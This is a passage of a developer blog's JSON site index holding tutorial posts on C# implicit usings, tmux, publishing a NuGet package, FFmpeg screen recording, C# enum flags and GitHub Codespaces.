System.Threading; using System.Threading.Tasks; For ASP.NET Core Applications\n\/*In addition to all Console App usings*\/ using System.Net.Http.Json; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Routing; using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Logging; For Worker\n\/*In addition to all Console App usings*\/ using Microsoft.Extensions.Configuration; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using Microsoft.Extensions.Logging; Enabling Implicit Usings #You can manage implicit usings through the .csproj file. This allows you to enable, disable, or customize the list of implicit usings according to your project&rsquo;s needs.\nPS.: Implicit usings are enabled by default.\n&lt;PropertyGroup&gt; &lt;ImplicitUsings&gt;disable&lt;\/ImplicitUsings&gt; &lt;\/PropertyGroup&gt; To re-enable.\n&lt;PropertyGroup&gt; &lt;ImplicitUsings&gt;enable&lt;\/ImplicitUsings&gt; &lt;\/PropertyGroup&gt; Adding Usings to Implicit Usings #You can add or remove namespaces from the implicit usings list using the &lt;Using&gt; element in the .csproj file.\nTo add a custom namespace:\n&lt;ItemGroup&gt; &lt;Using Include=&#34;MyCustomNamespace&#34; \/&gt; &lt;\/ItemGroup&gt; To exclude a namespace:\n&lt;ItemGroup&gt; &lt;Using Remove=&#34;System.Linq&#34; \/&gt; &lt;\/ItemGroup&gt; Conclusion #By automatically managing common namespaces, they allow you to write cleaner, more efficient code.\nWhether you use them as-is or customize them, understanding implicit usings can significantly improve your C# development experience.\nHappy Coding!\n","date":"August 30, 2024","permalink":"https:\/\/rmauro.dev\/implicit-using-in-csharp\/","section":"Posts","summary":"<h2 id=\"introduction\" class=\"relative group\">Introduction <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#introduction\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>C# 10 introduced implicit usings, a feature designed to reduce boilerplate code by automatically including commonly used namespaces in your projects. This helps make your code cleaner and easier to manage. In this article, we&rsquo;ll explore what implicit usings are, how they work, how to manage them, and the benefits they offer.<\/p>\n<h3 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><ul>\n<li><a href=\"#what-are-implicit-usings\">What Are Implicit Usings<\/a><\/li>\n<li><a href=\"#how-implicit-usings-works\">How Implicit Usings Works<\/a><\/li>\n<li><a href=\"#enabling-implicit-usings\">Enabling Implicit Usings<\/a><\/li>\n<li><a href=\"#adding-usings-to-implicit-usings\">Adding Usings to Implicit Usings<\/a><\/li>\n<\/ul>\n<h2 id=\"what-are-implicit-usings\" class=\"relative group\">What Are Implicit Usings <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-are-implicit-usings\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Implicit usings automatically include a predefined list of <code>using<\/code> directives in your C# files, so you don&rsquo;t need to manually add them.<\/p>","title":"Implicit Using in C#"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/implicit-usings\/","section":"Tags","summary":"","title":"Implicit-Usings"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tip\/","section":"Tags","summary":"","title":"Tip"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/using-directives\/","section":"Tags","summary":"","title":"Using-Directives"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/advanced-tmux\/","section":"Tags","summary":"","title":"Advanced Tmux"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/command-line\/","section":"Tags","summary":"","title":"Command Line"},{"content":"Tmux is a terminal multiplexer that allows you to run multiple terminal sessions within a single window. It is a powerful tool for anyone who spends significant time in the terminal, offering persistent sessions, multiple panes, and flexible session management. In this guide, we will cover how to install tmux, its basic and advanced commands, and provide references for further learning.\nTable of Contents # Introduction Installing Tmux Using apt Basic Tmux Commands Advanced Tmux Commands References Conclusion Installing Tmux #Installing tmux on a Debian-based system (like Ubuntu) or WSL Terminal is straightforward using the apt package manager.\nBefore installing tmux, ensure your package list is up to date.\nsudo apt update Then install tmux by running.\nsudo apt install tmux You can verify the installation by checking the version.\n# upper case V tmux -V Basic Tmux Commands #Once tmux is installed, you can start exploring its basic features.\n# starting a New Session &gt; tmux # detaching from a Session Ctrl+b, then d # reattaching to a Session &gt; tmux attach # creating a New Window Ctrl+b, then c # switching Between Windows Ctrl+b, then n (for next window) Ctrl+b, then p (for previous window) Advanced Tmux Commands #Tmux&rsquo;s advanced features allow for more efficient and complex workflows.\n# splitting Panes Horizontally Ctrl+b, then &#34; # splitting Panes Vertically Ctrl+b, then % # resizing Panes Ctrl+b, then arrow keys # renaming a Session &gt; tmux rename-session -t [old-name] [new-name] # list All Sessions &gt; tmux ls # killing a Session &gt; tmux kill-session -t [session-name] Cheatsheet # References #For more detailed information and advanced configurations, visit the official tmux page:\nTmux Official Documentation Conclusion #Tmux is an essential tool for anyone who works extensively in the terminal. From managing multiple sessions to splitting your terminal into panes, tmux provides the flexibility and efficiency needed for a productive command-line experience.\nHappy Coding\n","date":"August 30, 2024","permalink":"https:\/\/rmauro.dev\/getting-started-with-tmux-on-terminal\/","section":"Posts","summary":"<p>Tmux is a terminal multiplexer that allows you to run multiple terminal sessions within a single window. It is a powerful tool for anyone who spends significant time in the terminal, offering persistent sessions, multiple panes, and flexible session management. In this guide, we will cover how to install tmux, its basic and advanced commands, and provide references for further learning.<\/p>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ol>\n<li><a href=\"#introduction\">Introduction<\/a><\/li>\n<li><a href=\"#installing-tmux-using-apt\">Installing Tmux Using apt<\/a><\/li>\n<li><a href=\"#basic-tmux-commands\">Basic Tmux Commands<\/a><\/li>\n<li><a href=\"#advanced-tmux-commands\">Advanced Tmux Commands<\/a><\/li>\n<li><a href=\"#references\">References<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ol>\n<h2 id=\"installing-tmux\" class=\"relative group\">Installing Tmux <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#installing-tmux\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Installing tmux on a Debian-based system (like Ubuntu) or WSL Terminal is straightforward using the <code>apt<\/code> package manager.<\/p>","title":"Getting Started with Tmux on Terminal"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/install-tmux\/","section":"Tags","summary":"","title":"Install Tmux"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/terminal-multiplexer\/","section":"Tags","summary":"","title":"Terminal Multiplexer"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tmux\/","section":"Tags","summary":"","title":"Tmux"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tmux-commands\/","section":"Tags","summary":"","title":"Tmux Commands"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tmux-guide\/","section":"Tags","summary":"","title":"Tmux Guide"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/tmux-tutorial\/","section":"Tags","summary":"","title":"Tmux Tutorial"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ubuntu\/","section":"Tags","summary":"","title":"Ubuntu"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nuget\/","section":"Tags","summary":"","title":"Nuget"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nuget-package\/","section":"Tags","summary":"","title":"Nuget-Package"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nuget-publishing\/","section":"Tags","summary":"","title":"Nuget-Publishing"},{"content":"Using NuGet packages and nuget.org are a great way to share our .NET projects with other developers and also distribute your code across multiple projects.\nIn this guide, we&rsquo;ll walk through the process of publishing an existing .NET project as a NuGet package on NuGet.org. Let&rsquo;s use the Rmauro.Extensions.Configuration.EnvFiles project as an example, which is hosted on GitHub.\nPrepare the Project for Packaging #Let&rsquo;s start by cloning the project or using DevContainers to edit in Github Cloud (as demonstrated here Create and Configure a GitHub Codespace\n# clones the project &gt; git clone https:\/\/github.com\/ricardodemauro\/Rmauro.Extensions.Configuration.EnvFiles.git &gt; cd Rmauro.Extensions.Configuration.EnvFiles Open the Rmauro.Extensions.Configuration.Env.csproj file and include the necessary NuGet package metadata.\n&lt;Project Sdk=&#34;Microsoft.NET.Sdk&#34;&gt; &lt;PropertyGroup&gt; &lt;TargetFramework&gt;netstandard2.0&lt;\/TargetFramework&gt; &lt;!--Starts here--&gt; &lt;PackageId&gt;Rmauro.Extensions.Configuration.EnvFiles&lt;\/PackageId&gt; &lt;PackageVersion&gt;1.0.0&lt;\/Version&gt; &lt;Authors&gt;Ricardo Mauro&lt;\/Authors&gt; &lt;Description&gt;Extension to read .env files in dotnet core projects&lt;\/Description&gt; &lt;RepositoryUrl&gt;https:\/\/github.com\/ricardodemauro\/Rmauro.Extensions.Configuration.EnvFiles.git&lt;\/RepositoryUrl&gt; &lt;PackageIconUrl&gt;rmauro-favico-32.webp&lt;\/PackageIconUrl&gt; &lt;PackageIcon&gt;rmauro-favico-32.webp&lt;\/PackageIcon&gt; &lt;PackageLicenseExpression&gt;MIT&lt;\/PackageLicenseExpression&gt; &lt;RequireLicenseAcceptance&gt;false&lt;\/RequireLicenseAcceptance&gt; &lt;!--Ends here--&gt; &lt;\/PropertyGroup&gt; &lt;!--https:\/\/stackoverflow.com\/a\/76122058\/1652594--&gt; &lt;ItemGroup&gt; &lt;None Include=&#34;..\/..\/assets\/rmauro-favico-32.webp&#34; Pack=&#34;true&#34; PackagePath=&#34;&#34;\/&gt; &lt;\/ItemGroup&gt; &lt;\/Project&gt; Properties Definition\nPackageId Specifies the name for the resulting package PackageVersion This is semver compatible, for example 1.0.0, 1.0.0-beta, or 1.0.0-beta-00345. Defaults to Version if not set Authors A semicolon-separated list of packages authors, matching the profile names on nuget.org. These are displayed in the NuGet Gallery on nuget.org and are used to cross-reference packages by the same authors Description A long description for the assembly. If PackageDescription is not specified, then this property is also used as the description of the package RepositoryUrl Repository URL used to clone or retrieve source code. PackageIconUrl PackageIconUrl is deprecated in favor of PackageIcon. However, for the best downlevel experience, you should specify PackageIconUrl in addition to PackageIcon PackageIcon Specifies the package icon path, relative to the root of the package PackageLicenseExpression Corresponds to license expression. Read more RequireLicenseAcceptance A Boolean value that specifies whether the client must prompt the consumer to accept the package license before installing the package. For more properties read the Microsoft&rsquo;s Official Docs: https:\/\/learn.microsoft.com\/en-us\/nuget\/reference\/msbuild-targets#pack-target\nTip: If you need to include Icon, you need to first import into the project by using &lt;ItemGroup&gt; and &lt;None&gt; tags and then use it.\nPack the NuGet Package #All set with our project, let&rsquo;s create the NuGet package.\nNavigate to the project directory containing the .csproj file and run the following command.\n# build the package and sets the version to 0.0.1 &gt; dotnet build -c Release \/p:Version=0.0.1 # packs the package &gt; dotnet pack --configuration Release This command will generate a .nupkg file in the bin\/Release directory.\nAuto Generate the Package on Build #Include the following property to auto generate the package.\n&lt;GeneratePackageOnBuild&gt;true&lt;\/GeneratePackageOnBuild&gt; Create a NuGet.org Account and Get an API Key #Before you can publish your package, we need a NuGet.org account and an API key.\nGo to NuGet.org and click &ldquo;Sign in&rdquo; in the top right corner.\nClick &ldquo;Create a new account&rdquo; if you don&rsquo;t have one. You can sign up using a Microsoft account or create a new account with your email. Follow the prompts to complete your registration, including email verification. Generate an API Key #Once logged in, click on your username in the top right corner and select &ldquo;API Keys&rdquo;.\nClick &ldquo;Create&rdquo; to generate a new API key.\nProvide a name for your key (e.g., &ldquo;MyAwesomeLibrary Publishing Key&rdquo;).\nChoose the scope for the key:\n&ldquo;Push new packages and package versions&rdquo; if you&rsquo;re only publishing. &ldquo;Push and unlist packages&rdquo; if you also want the ability to unlist packages. Select the glob pattern for the packages this key can push. Use * for all packages or specify package names. Then click &ldquo;Create&rdquo;.\nCopy the generated API Key.\nRemember to keep your API key confidential. Never share it or commit it to source control.\nPublish to NuGet.org #Now that you have your API key, you can publish your package:\nUse the following command to publish your package, replacing your_api_key with your actual API key: &gt; dotnet nuget push ` bin\/Release\/Rmauro.Extensions.Configuration.EnvFiles.1.0.0.nupkg ` --api-key your_api_key ` --source https:\/\/api.nuget.org\/v3\/index.json NuGet.org will process our package. It usually takes a few minutes to be available.\nHere is our package: https:\/\/www.nuget.org\/packages\/Rmauro.Extensions.Configuration.Env\/\nUpdating Your Package #When you make changes to your project and want increment the published version.\nBuild using the \/p:Version=0.0.0.2 parameter or simply increment the &lt;Version&gt; number in your .csproj file Repackage and publish again &gt; dotnet build -c Release \/p:Version=0.0.0.2 &gt; dotnet pack --configuration Release &gt; dotnet nuget push ` bin\/Release\/Rmauro.Extensions.Configuration.EnvFiles.0.0.2.nupkg ` --api-key {NUGET_API_KEY} ` --source https:\/\/api.nuget.org\/v3\/index.json Best Practices for Maintaining Your NuGet Package # Create\/Update the README.md file in the nuget.org website Use semantic versioning (MAJOR.MINOR.PATCH) to communicate the nature of updates Regularly check for and update any dependencies in your project Keep your code updated and secure against know treats Rotate your API keys periodically for security Conclusion #Publishing your existing .NET project as a NuGet package is a great way to share your work with the broader .NET community.\nBy following these steps, you&rsquo;ve made your Rmauro.Extensions.Configuration.EnvFiles library easily accessible to other developers.\nHappy packaging!!\n","date":"August 24, 2024","permalink":"https:\/\/rmauro.dev\/publish-csharp-project-to-nuget-org\/","section":"Posts","summary":"<p>Using NuGet packages and nuget.org are a great way to share our .NET projects with other developers and also distribute your code across multiple projects.<\/p>\n<p>In this guide, we&rsquo;ll walk through the process of publishing an existing .NET project as a NuGet package on NuGet.org. Let&rsquo;s use the <code>Rmauro.Extensions.Configuration.EnvFiles<\/code> project as an example, which is hosted on GitHub.<\/p>\n<h2 id=\"prepare-the-project-for-packaging\" class=\"relative group\">Prepare the Project for Packaging <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#prepare-the-project-for-packaging\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Let&rsquo;s start by cloning the project or using DevContainers to edit in Github Cloud (as demonstrated here <a href=\"https:\/\/rmauro.dev\/create-and-configure-a-github-codespace\/\" target=\"_blank\" rel=\"noreferrer\">Create and Configure a GitHub Codespace<\/a><\/p>","title":"Publish C# Project to Nuget.org"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/publish-c%23-project\/","section":"Tags","summary":"","title":"Publish-C#-Project"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/software-development\/","section":"Tags","summary":"","title":"Software-Development"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/cli\/","section":"Tags","summary":"","title":"Cli"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ffmpeg\/","section":"Tags","summary":"","title":"Ffmpeg"},{"content":"Recording high-quality video and audio doesn\u2019t have to be complex or expensive. With FFmpeg, a powerful open-source multimedia framework, you can capture video and audio effortlessly using simple command-line instructions.\nThis tutorial will guide you through a minimalist approach to recording with FFmpeg, ensuring you get the most out of its capabilities without the need for cumbersome software.\nIn this article, we&rsquo;ll explore how to utilize FFmpeg for recording screencasts and audio effectively. Whether you&rsquo;re a seasoned developer looking to create tutorial videos or someone just starting out, this guide will provide you with step-by-step instructions and essential tips to get you started.\nWhat is FFmpeg? #FFmpeg is a command-line tool that acts as a Swiss Army knife for audio and video processing. With FFmpeg, you can:\nRecord video and audio Convert between different codecs and formats Edit, trim, and manipulate media files Stream audio and video data The possibilities with FFmpeg are vast, but in this article, we will focus on the basics of recording video and audio.\nSetting Up FFmpeg #Before we dive into recording, make sure you have FFmpeg installed on your system. You can easily install FFmpeg using your package manager. For instance, on Ubuntu, you can run:\nsudo apt update sudo apt install ffmpeg For Windows, follow the installation instructions on the FFmpeg website.\nRecording Video #To record video using FFmpeg, you will typically utilize the x11grab format. Here&rsquo;s a basic command to start recording your entire screen:\nffmpeg -f x11grab -i :0.0 -codec:v libx264 -pix_fmt yuv420p test.mkv Breakdown of the Command: # -f x11grab: Specifies the format as x11grab for screen capturing. -i :0.0: Designates the input device. :0.0 indicates the display offset (the first screen). -codec:v libx264: Encodes the video using the H.264 codec. -pix_fmt yuv420p: Specifies the pixel format. test.mkv: The output file where the recording will be saved. To stop recording, simply press Ctrl + C in the terminal.\nRecording a Specific Area #To capture a specific area of the screen, you can specify the resolution and offsets. For instance, to record a section of 100x100 pixels, you can modify your command as follows:\nffmpeg -f x11grab -video_size 100x100 -i :0.0+1000,200 -codec:v libx264 test_section.mkv In this command:\n-video_size 100x100: Defines the resolution of the recording area. :0.0+1000,200: Specifies the offset (1000 pixels right and 200 pixels down). Recording Audio #Recording audio is just as straightforward. To record audio input from your microphone, use the following command:\nffmpeg -f alsa -i default -codec:a flac audio.mkv Breakdown of the Command: # -f alsa: Specifies the format as ALSA (for Linux audio input). -i default: Sets the input to the default audio device. -codec:a flac: Encodes the audio to FLAC format. Combining Video and Audio #To record both video and audio simultaneously, you can combine the commands:\nffmpeg -f x11grab -video_size 1920x1080 -i :0.0 -f alsa -i default -codec:v libx264 -codec:a flac output.mkv This command records your full screen while capturing audio from your microphone and saves both into a single MKV file.\nTips for Effective Recording # Plan Your Content: Before you start recording, outline the key points you want to cover to make the process smoother. Test Your Setup: Always do a short trial recording to ensure that both video and audio are being captured correctly. Use Multiple Screens: If you&rsquo;re working with multiple monitors, use the correct display offset to capture the desired screen. Audio Quality: Invest in a decent microphone to improve audio quality, as it significantly impacts viewer engagement. Keep It Simple: Utilize minimal settings for straightforward recordings. You can always add more complexity as you gain comfort with FFmpeg. Conclusion #FFmpeg provides a versatile and powerful way to record audio and video for screencasting and other purposes. With its command-line interface, it may seem daunting at first, but once you get the hang of it, you\u2019ll appreciate its efficiency and flexibility. As you become more familiar with FFmpeg, you can explore additional features like video editing and format conversion.\nWhether you&rsquo;re recording tutorials for your blog, creating learning content, or just experimenting, FFmpeg stands out as a reliable companion. Start using these commands today and elevate your content creation process!\nFinal Thoughts #FFmpeg is a one-stop solution for recording and processing various media types. Take the time to experiment with different features, codecs, and formats. Happy recording, and don&rsquo;t hesitate to share your projects with the community!\nFor further information about FFmpeg, consider checking the official documentation and exploring the vast possibilities this tool offers.\n","date":"August 23, 2024","permalink":"https:\/\/rmauro.dev\/how-to-record-video-and-audio-with-ffmpeg-a-minimalist-approach\/","section":"Posts","summary":"<p>Recording high-quality video and audio doesn\u2019t have to be complex or expensive. With <strong>FFmpeg<\/strong>, a powerful open-source multimedia framework, you can capture video and audio effortlessly using simple command-line instructions.<\/p>\n<p>This tutorial will guide you through a minimalist approach to recording with <strong>FFmpeg<\/strong>, ensuring you get the most out of its capabilities without the need for cumbersome software.<\/p>\n<p>In this article, we&rsquo;ll explore how to utilize FFmpeg for recording screencasts and audio effectively. Whether you&rsquo;re a seasoned developer looking to create tutorial videos or someone just starting out, this guide will provide you with step-by-step instructions and essential tips to get you started.<\/p>","title":"How to Record Video and Audio with FFmpeg: A Minimalist Approach"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/video-recording\/","section":"Tags","summary":"","title":"Video-Recording"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/bitwise\/","section":"Tags","summary":"","title":"Bitwise"},{"content":"Enums in C# offer more than just a simple way to define named constants\u2014they can be a powerful tool for handling complex scenarios when combined with bitwise operations.\nIn this post, we will dive into advanced C# enum usage, focusing on bitwise operations to create powerful and flexible code. By understanding how to effectively use C# enum flags with bitwise AND\/OR operations, you can optimize your applications and write more efficient C# code.\nUsing C# Enums, bitwise operations and C# flags you\u2019ll enhance your ability to write more flexible, maintainable, and scalable code.\n\ud83e\uddfe Introduction to Enums #An enum is a special data type that enables a variable to be a set of predefined constants. In practice, enums help create a meaningful representation of data, making it easier to work with instead of using integer literals scattered throughout your code.\nExample: Enum to represent different types of animals.\npublic enum Animal { Dog, Cat, Fish } Why Use Enums? # Readability: Using named constants instead of numeric values makes your code easier to read. Maintainability: If the underlying value changes, you only need to update it in one place. Type Safety: Enums prevent invalid values from being assigned to a variable. \ud83d\udcaa Advanced Enum Usage: Bitwise Operations #Enums can represent bit fields by combining values using bitwise operations, which is particularly useful for flags.\nDefining Flags Enum #To do this, you should assign powers of two to each member of the enum.\n[Flags] public enum DataVidsFlags { None = 0, FlagA = 1, \/\/ 0001 FlagB = 2, \/\/ 0010 FlagC = 4, \/\/ 0100 FlagD = 8 \/\/ 1000 } Using Bitwise Operations in C# Enums #You can leverage bitwise operators to combine and check flags.\n\/\/ Using combine flags DataVidsFlags myFlags = DataVidsFlags.FlagA | DataVidsFlags.FlagC; \/\/ Output: FlagA, FlagC Console.WriteLine(myFlags); \/\/ Checking if a specific flag is set bool hasFlagB = (myFlags &amp; DataVidsFlags.FlagB) == DataVidsFlags.FlagB; \/\/ Output: Has Flag B: False Console.WriteLine(&#34;Has Flag B: &#34; + hasFlagB); Using HasFlag #The advantage of using the HasFlag method simplifies your code.\nif (myFlags.HasFlag(DataVidsFlags.FlagC)) { Console.WriteLine(&#34;Flag C is set.&#34;); } Conclusion #Enums in C# serve as a powerful tool for creating more readable, maintainable, and type-safe code. Whether you are using simple enums for clarity or leveraging bitwise operations for complex flag representations, how you implement them can greatly improve your application&rsquo;s code quality.\nTips for Using Enums # Use Descriptive Names: Choose names that accurately describe the values. Keep Them Organized: Consider placing enums in their own files for better organization. Avoid Value Confusion: Assign starting points when using bitwise operations for clarity on the intended manipulation. Utilize Flags: When multiple states can exist, use the [Flags] attribute to enable combined flags. References #https:\/\/learn.microsoft.com\/en-us\/dotnet\/csharp\/language-reference\/operators\/bitwise-and-shift-operators\nFeel free to leave your thoughts, comments, or examples of how you\u2019re using enums in your own projects! Happy coding! \ud83d\ude0e\n","date":"August 18, 2024","permalink":"https:\/\/rmauro.dev\/csharp-enum-bitwise-operations\/","section":"Posts","summary":"<p>Enums in C# offer more than just a simple way to define named constants\u2014they can be a powerful tool for handling complex scenarios when combined with bitwise operations.<\/p>\n<p>In this post, we will dive into advanced C# enum usage, focusing on bitwise operations to create powerful and flexible code. By understanding how to effectively use C# enum flags with bitwise AND\/OR operations, you can optimize your applications and write more efficient C# code.<\/p>","title":"C# Enum Bitwise Operations"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/enum\/","section":"Tags","summary":"","title":"Enum"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/code-spaces\/","section":"Tags","summary":"","title":"Code-Spaces"},{"content":"GitHub Codespaces provides a powerful, cloud-based development environment that we can start and stop in seconds, tailored specifically to our project\u2019s needs.\nIn this tutorial, let&rsquo;s go through the process of set up and configure a GitHub Codespace using an existing repository.\nLet&rsquo;s dive in and see how you can get started with GitHub Codespaces today!\n\ud83d\ude80 Table of Contents # Before You Start - Mind the Costs Create a GitHub Codespace Select a Pre-Build Configuration Save and Push Changes Stop Current Codespace The Codespace Dashboard \u231a Before You Start - Mind the Costs #GitHub Codespaces offers a powerful cloud-based development environment with a free usage cota but it&rsquo;s NOT free. Understanding the pricing structure can help you manage costs effectively.\nGitHub Codespaces is paid for either by an organization, an enterprise, or a personal account. The Free and Pro plans for personal accounts include free use of GitHub Codespaces up to a fixed amount of usage every month.\nRead more: https:\/\/docs.github.com\/en\/billing\/managing-billing-for-github-codespaces\/about-billing-for-github-codespaces\nFree of charge today - 08\/17\/2024\n\ud83d\udd28 Step by Step Guide #Let&rsquo;s dive into the step by step guide on Code Spaces.\nStep 1: Create a GitHub Codespace #To create the Codespace click on the Code button, then Codespaces, and then select Create codespace on main.\nIf you have multiple branches, you can choose a specific branch for the Codespace.\nA dialog may appear allowing you to choose the machine type (e.g., 2-core, 4-core). Select the appropriate machine based on your development needs.\nOnce initialized, you\u2019ll see a Visual Studio Code interface within your browser.\nStep 2: Select a Pre-Build Configuration #On the Visual Code search bar start typing &gt; Codespaces to see all the available options.\nSelect &ldquo;Codespaces: Add Dev Container Configuration File&hellip;&rdquo; to start from scratch. Next select &ldquo;Create a new configuration&rdquo; to start from scratch**.**\nSelect &ldquo;C# (.NET) devcontainers&rdquo; or the best framework for your project.\nMoving forward we can include additional features to install, such as &ldquo;.NET Aspire&rdquo;.\nOnce completed all the selections click on Rebuild Now to start building the Codespace.\nThe devcontainer.json file should be created. It contains all configuration for the recently created Codespace.\nYou can commit and push the devcontainer.json file to the repository for later use.\nIn the devcontainer.json file you can add more features, change ports, remote user, among other features. Don&rsquo;t forget to &ldquo;Rebuild&rdquo; if changes are made.\n\/\/ For format details, see https:\/\/aka.ms\/devcontainer.json. For config options, see the \/\/ README at: https:\/\/github.com\/devcontainers\/templates\/tree\/main\/src\/dotnet { &#34;name&#34;: &#34;C# (.NET)&#34;, \/\/ Or use a Dockerfile or Docker Compose file. More info: https:\/\/containers.dev\/guide\/dockerfile &#34;image&#34;: &#34;mcr.microsoft.com\/devcontainers\/dotnet:1-8.0-bookworm&#34; \/\/ Features to add to the dev container. More info: https:\/\/containers.dev\/features. \/\/ &#34;features&#34;: {}, \/\/ Use &#39;forwardPorts&#39; to make a list of ports inside the container available locally. \/\/ &#34;forwardPorts&#34;: [5000, 5001], \/\/ &#34;portsAttributes&#34;: { \/\/\t&#34;5001&#34;: { \/\/\t&#34;protocol&#34;: &#34;https&#34; \/\/\t} \/\/ } \/\/ Use &#39;postCreateCommand&#39; to run commands after the container is created. \/\/ &#34;postCreateCommand&#34;: &#34;dotnet restore&#34;, \/\/ Configure tool-specific properties. \/\/ &#34;customizations&#34;: {}, \/\/ Uncomment to connect as root instead. More info: https:\/\/aka.ms\/dev-containers-non-root. \/\/ &#34;remoteUser&#34;: &#34;root&#34; } Step 3: Save and Push Changes #As we make changes in our source code, they will be contained only within the Codespace. Use the Git panel in Visual Studio Code to commit your changes.\nStep 4: Stop Current Codespace #When finished let&rsquo;s STOP the Codespace to avoid incurring unnecessary charges.\nWhen no longer need, we can delete it to free up resources.\nSimply navigate to the GitHub Codespaces dashboard, find your Codespace, and select Delete.\nThe Codespace Dashboard #Remember to check the Codespace Dashboard to make sure nothing is running without your knowledge.\nConclusion #The GitHub Codespaces can greatly enhance our development workflow, offering a consistent and accessible environment wherever we work.\nHappy coding! \ud83d\ude0e\n","date":"August 17, 2024","permalink":"https:\/\/rmauro.dev\/create-and-configure-a-github-codespace\/","section":"Posts","summary":"<p>GitHub Codespaces provides a powerful, cloud-based development environment that we can start and stop in seconds, tailored specifically to our project\u2019s needs.<\/p>\n<p>In this tutorial, let&rsquo;s go through the process of set up and configure a <strong>GitHub Codespace<\/strong> using an existing repository.<\/p>\n<p>Let&rsquo;s dive in and see how you can get started with GitHub Codespaces today!<\/p>\n<h2 id=\"-table-of-contents\" class=\"relative group\">\ud83d\ude80 Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#%E2%8C%9A-before-you-startmind-the-costs\">Before You Start - Mind the Costs<\/a><\/li>\n<li><a href=\"#step-1-create-a-github-codespace\">Create a GitHub Codespace<\/a><\/li>\n<li><a href=\"#step-2-select-a-pre-build-configuration\">Select a Pre-Build Configuration<\/a><\/li>\n<li><a href=\"#step-3-save-and-push-changes\">Save and Push Changes<\/a><\/li>\n<li><a href=\"#step-4-stop-current-codespace\">Stop Current Codespace<\/a><\/li>\n<li><a href=\"#the-codespace-dashboard\">The Codespace Dashboard<\/a><\/li>\n<\/ul>\n<h2 id=\"-before-you-start---mind-the-costs\" class=\"relative group\">\u231a Before You Start - Mind the Costs <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#-before-you-start---mind-the-costs\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>GitHub Codespaces offers a powerful cloud-based development environment with a <strong>free usage cota<\/strong> but it&rsquo;s <strong>NOT free.<\/strong> Understanding the pricing structure can help you manage costs effectively.<\/p>","title":"Create and Configure a GitHub Codespace"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/github\/","section":"Tags","summary":"","title":"Github"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/configuration-provider\/","section":"Tags","summary":"","title":"Configuration-Provider"},{"content":"Let&rsquo;s create a custom configuration provider for Microsoft.Extensions.Configuration. This guide will walk you through the steps to build and 